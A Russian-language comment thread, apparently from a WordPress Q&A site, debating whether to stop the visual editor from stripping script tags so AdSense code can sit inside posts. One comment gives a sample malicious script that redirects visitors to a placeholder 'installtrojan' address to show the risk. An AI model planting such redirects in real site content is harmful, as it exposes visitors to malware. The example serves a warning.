Как остановить WordPress от удаления тегов <script> при переключении с HTML на Визуальный редактор (TinyMCE)

Вы используете WordPress как одиночную установку или в режиме мультисайта?

Matthew Boynes

2 окт. 2012 г. 16:25:29

Это по сути зияющая дыра в безопасности, которую вы пытаетесь открыть

Tom J Nowell

2 окт. 2012 г. 16:32:46

Зачем вам это нужно?

Tom J Nowell

2 окт. 2012 г. 18:55:26

Привет, основная причина, по которой я хочу это сделать, заключается в том, что на нескольких моих сайтах я часто вставляю код Google Adsense в тело постов. CPC таким образом значительно выше, и я часто экспериментирую с разными рекламными блоками. Страницы, содержащие JS-код Adsense, часто редактируются в визуальном режиме, и это так раздражает, что мне приходится постоянно копировать и вставлять JS-код обратно, когда он удаляется. Я понимаю опасения по поводу безопасности, но если мой логин будет взломан, это откроет гораздо больше проблем, чем просто вопросы с JS — сам факт взлома будет огромной проблемой.

pixelkicks

2 окт. 2012 г. 23:06:16

Тогда получается, что вы просите исправить ваш костыль. Правильный вопрос звучал бы как "как добавить Adsense в середину постов", и правильным ответом было бы использование шорткода. Таких решений множество, и, скорее всего, кто-то уже опубликовал бы кастомный вариант, а вы получили бы репутацию за хороший вопрос и несколько значков за заметный вклад. Вместо этого вы спросили, как вставить произвольный JavaScript в содержимое поста, и в ответ вам сказали, что это плохая практика и серьезная дыра в безопасности.

Tom J Nowell

3 окт. 2012 г. 01:44:35

Том, думаю, будет очень полезно, если ты сможешь привести конкретные доказательства, почему это плохая практика и почему это приглашение для хакеров!

Matthew Boynes

2 окт. 2012 г. 17:47:29

потому что любой может вставить что угодно в ваш контент — будь то код, заставляющий ссылки мигать, или скрипт для скрытой загрузки вредоносного ПО. Любой, кто имеет доступ к вашей базе данных или права на редактирование записей, может использовать ваш сайт для распространения вредоносного JavaScript

Tom J Nowell

2 окт. 2012 г. 18:54:21

Это также смешивает контент/данные с функциональностью/контроллерами и делает ваш контент непереносимым между темами, так как смена темы может сломать содержимое.

Tom J Nowell

2 окт. 2012 г. 18:55:06

например: "Привет, это мой первый пост в блоге! <script>window.location="www.hackme.com/installtrojan";</script>"

Tom J Nowell

2 окт. 2012 г. 18:56:23

Я бы сказал, что "любой, у кого есть доступ к вашей базе данных или права на редактирование записей", может испортить вам день в любом случае, и реализация этого через шорткод или мета-данные записи не даст никакой разницы в безопасности. Также я не вижу, чтобы шорткоды или мета-данные записей разделяли контент/данные и функциональность/контроллеры больше, чем то, о чем спрашивает @Buckers. Думаю, это хорошая стандартная практика для WordPress, не поймите меня неправильно, но лично я не вижу вреда в переопределении этого поведения при осознанном согласии, равно как и не вижу преимуществ в безопасности или ортогональности в том, что вы предлагаете. Но, возможно, я что-то упускаю?

Matthew Boynes

2 окт. 2012 г. 21:15:12

Это звучит очень небезопасно для мультисайта (все, что позволяет вводить нефильтрованный HTML, является таковым), и в любом случае, похоже, больше не поддерживается автором.

Mark Kaplun

9 мар. 2017 г. 19:43:47

@MarkKaplun - Не уверен, почему вы говорите, что плагин не поддерживается. Он не обновлялся недавно, но, скорее всего, потому что автор занят другими делами (см. его сообщения в других форумах). В любом случае, он отлично работает на версии 4.7.

Guss

9 мар. 2017 г. 19:48:09

Что касается безопасности - я часто вижу здесь ответы вроде "это или то небезопасно, поэтому не делайте так". Думаю, отвечающие должны прекратить навязывать свою модель безопасности другим пользователям. Если администратор решил установить плагин и сделать его доступным, я предполагаю, что он учел вопросы безопасности. В моей WPMS-установке все пользователи доверенные (я создаю их вручную), поэтому если я выбираю сделать плагин Shortcoder доступным, это значит, что я рассмотрел вопросы безопасности, и они в порядке. Ожидаю, что большинство WPMS-установок относятся к той же категории.

Guss

9 мар. 2017 г. 19:50:51

99,9% пользователей WordPress не имеют ни малейшего понятия о последствиях для безопасности своих действий. Пользователям никогда нельзя доверять, проблема в том, что вы осознаете это только постфактум, когда восстановиться будет крайне сложно.

Mark Kaplun

9 мар. 2017 г. 20:12:37

Что касается плагина - если автор не удосужился обновить файл readme, указав совместимость с версией, выпущенной 3 месяца назад, это хороший индикатор того, что он потерял интерес к разработке плагина.

Mark Kaplun

9 мар. 2017 г. 20:14:31